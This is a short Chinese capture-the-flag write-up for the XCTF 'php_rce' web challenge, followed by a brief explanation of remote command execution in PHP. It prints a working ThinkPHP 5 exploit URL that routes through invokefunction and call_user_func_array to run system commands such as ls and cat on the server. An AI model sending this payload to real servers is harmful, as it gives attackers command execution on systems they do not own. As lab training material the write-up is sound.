攻防世界web区答题(高手进阶区php_rce)
1.php V5漏洞
payload如下:
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
2.找flag
没有发现flag,一般flag都是放在根目录下,可以看到这不是根目录,所以我们用…/返回上一级目录。
没有,继续返回上一级
继续,发现flag
用cat查看,拿到flag
payload如下:
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20../../../flag
总结
1.远程代码执行和远程命令执行概念-RCE(remote command/code execute):
系统命令:windows或者Linux命令,攻击者直接向后台服务器远程注入操作系统命令或者代码,进而控制后台系统。应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、shell_ exec、passthru、pcntl_exec、popen、proc_popen等函数可以执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
2.远程系统命令执行漏洞产生原因?
没有在输入口做输入处理。 我们常见的路由器、防火墙、入侵检测等设备的web管理界面上 一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。